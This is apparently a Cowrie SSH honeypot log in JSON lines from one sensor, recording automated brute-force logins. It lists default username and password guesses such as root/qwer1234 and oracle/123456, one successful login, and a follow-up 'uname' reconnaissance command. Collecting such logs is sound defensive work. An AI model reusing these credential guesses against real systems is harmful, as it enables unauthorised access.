{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53786,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2a02490a5b5","protocol":"ssh","message":"New connection: 192.109.200.78:53786 (159.203.135.109:22) [session: b2a02490a5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:04.086205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:04.091008Z","src_ip":"192.109.200.78","session":"b2a02490a5b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:04.169426Z","src_ip":"192.109.200.78","session":"b2a02490a5b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:04.489206Z","src_ip":"192.109.200.78","session":"b2a02490a5b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:04.818547Z","src_ip":"176.65.139.95","session":"b9018348dfbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:05.574010Z","src_ip":"192.109.200.78","session":"b2a02490a5b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59172,"dst_ip":"159.203.135.109","dst_port":22,"session":"058acaef5573","protocol":"ssh","message":"New connection: 192.109.200.78:59172 (159.203.135.109:22) [session: 058acaef5573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:08.314329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:08.319355Z","src_ip":"192.109.200.78","session":"058acaef5573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:08.404487Z","src_ip":"192.109.200.78","session":"058acaef5573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:08.652432Z","src_ip":"192.109.200.78","session":"058acaef5573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:09.737982Z","src_ip":"192.109.200.78","session":"058acaef5573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3dd40378900","protocol":"ssh","message":"New connection: 176.65.139.95:60646 (159.203.135.109:22) [session: d3dd40378900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:10.034274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:10.225861Z","src_ip":"176.65.139.95","session":"d3dd40378900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:10.229645Z","src_ip":"176.65.139.95","session":"d3dd40378900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:10.806489Z","src_ip":"176.65.139.95","session":"d3dd40378900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:11.893937Z","src_ip":"176.65.139.95","session":"d3dd40378900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59176,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0b2dac3a162","protocol":"ssh","message":"New connection: 192.109.200.78:59176 (159.203.135.109:22) [session: a0b2dac3a162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:12.229543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:12.233624Z","src_ip":"192.109.200.78","session":"a0b2dac3a162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:12.317514Z","src_ip":"192.109.200.78","session":"a0b2dac3a162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:12.574211Z","src_ip":"192.109.200.78","session":"a0b2dac3a162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:13.661397Z","src_ip":"192.109.200.78","session":"a0b2dac3a162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39346,"dst_ip":"159.203.135.109","dst_port":22,"session":"c57d00e49d8c","protocol":"ssh","message":"New connection: 159.203.92.129:39346 (159.203.135.109:22) [session: c57d00e49d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:15.187266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:15.198918Z","src_ip":"159.203.92.129","session":"c57d00e49d8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:15.202689Z","src_ip":"159.203.92.129","session":"c57d00e49d8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Members","password":"123","message":"login attempt [Members/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:15.298978Z","src_ip":"159.203.92.129","session":"c57d00e49d8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:16.308671Z","src_ip":"159.203.92.129","session":"c57d00e49d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59188,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfc4d685f9c7","protocol":"ssh","message":"New connection: 192.109.200.78:59188 (159.203.135.109:22) [session: dfc4d685f9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:16.517231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:16.521785Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:16.604406Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:16.849573Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.061459Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.065845Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60672,"dst_ip":"159.203.135.109","dst_port":22,"session":"82344767c065","protocol":"ssh","message":"New connection: 176.65.139.95:60672 (159.203.135.109:22) [session: 82344767c065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.073562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.078066Z","src_ip":"176.65.139.95","session":"82344767c065","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.152128Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.157915Z","src_ip":"192.109.200.78","session":"dfc4d685f9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.163954Z","src_ip":"176.65.139.95","session":"82344767c065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:17.434865Z","src_ip":"176.65.139.95","session":"82344767c065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:18.523654Z","src_ip":"176.65.139.95","session":"82344767c065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47080,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea8e41126a68","protocol":"ssh","message":"New connection: 192.109.200.78:47080 (159.203.135.109:22) [session: ea8e41126a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:20.332332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:20.339942Z","src_ip":"192.109.200.78","session":"ea8e41126a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:20.421361Z","src_ip":"192.109.200.78","session":"ea8e41126a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:18:20.890095Z","src_ip":"192.109.200.78","session":"ea8e41126a68","protocol":"ssh"}
